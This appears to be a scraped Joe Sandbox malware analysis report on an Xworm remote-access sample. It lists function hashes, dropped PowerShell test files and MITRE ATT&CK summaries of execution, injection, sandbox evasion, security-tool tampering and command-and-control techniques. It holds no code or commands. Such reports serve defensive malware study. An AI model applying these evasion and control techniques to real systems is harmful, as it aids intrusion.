API ID:
String ID:
API String ID:
Opcode ID: 4626a66aa5c8b8f879705509eb45e69026fbfb1b5b5fa3c63e8dcb44bfb25e60
Instruction ID: b815bd7fe7f27519cf46ab74d117641630c24c9ead423421179bba84e2909aba
Opcode Fuzzy Hash: 4626a66aa5c8b8f879705509eb45e69026fbfb1b5b5fa3c63e8dcb44bfb25e60
Instruction Fuzzy Hash: 9B21E17BF28A625AD211FB6DF8E60F97B60DF8277634804B7D1C489067ED28904B92D0

Analysis Process: powershell.exePID: 6320, Parent PID: 6984COMMON

Executed Functions

Function 00007FFE16707271 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3011871159.00007FFE16700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffe16700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb7d726000dfd50260c23232828c0d93503c048009bd36d48973815cad4c8d89
Instruction ID: 6fd0a3f0c7ca392b0c6cffa8afb504f508c1354ea68f45a55f28a3f923ebb6e1
Opcode Fuzzy Hash: eb7d726000dfd50260c23232828c0d93503c048009bd36d48973815cad4c8d89
Instruction Fuzzy Hash: 1B119A5151E6C54FEB53A7780C35176BFB49F87228B1801EEE0C8CB0E3D9082809C362

Function 00007FFE16634295 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3010440449.00007FFE16630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffe16630000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d37e594999c87198d9e2ef3a8c67f068342dde6f1aa77fe12b9d363e36b220e0
Instruction ID: 6b82326bb4a933cfcf1a368eb83489b1ca470337ce9fbda2e8ac836d96c8f612
Opcode Fuzzy Hash: d37e594999c87198d9e2ef3a8c67f068342dde6f1aa77fe12b9d363e36b220e0
Instruction Fuzzy Hash: F701A73111CB0C4FD744EF0CE051AA5B3E0FB85324F10056DE58AC3261DA32E881CB42

Function 00007FFE1670328D Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3011871159.00007FFE16700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffe16700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fd1d3ef1f8b2f0a4cd62a5edf2c8c06851e155241496d142455dd4808f46081
Instruction ID: c2eb55ce6418b5fa11c62eee2cf2b4695fd5dc718a39b574f2b5ac8a9e0cf936
Opcode Fuzzy Hash: 0fd1d3ef1f8b2f0a4cd62a5edf2c8c06851e155241496d142455dd4808f46081
Instruction Fuzzy Hash: 6DE0123290EA598FDF55EBA954551EDF7E0EF0A336B1400BBC008D6162D92954498750

Analysis Process: powershell.exePID: 7024, Parent PID: 6236COMMON

Executed Functions

Function 00007FFE166237B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2858696241.00007FFE16620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffe16620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e2ee47846a40d26ca6ad4efb48b22efc69babe9b2f5a06a55caa04eb5bd6814
Instruction ID: 72b588c865f1836b7e0d5feee069fa283a5af609ba31882ca978265fb020dbfa
Opcode Fuzzy Hash: 0e2ee47846a40d26ca6ad4efb48b22efc69babe9b2f5a06a55caa04eb5bd6814
Instruction Fuzzy Hash: 7401677111CB0D8FDB44EF0CE451AA6B7E0FB95364F10056DE58AC36A1D736E892CB46

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1knd0nyk.ir3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ihy1sfk.lrd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52d2ecu1.3fi.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d1conrqx.qio.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dhxbu4vo.mje.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gqoczapk.5od.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kivaelxh.5va.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m0sagscj.bic.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_otvnkbem.tm3.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ozxxjsoi.t3f.psm1

Windows Analysis Report
17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre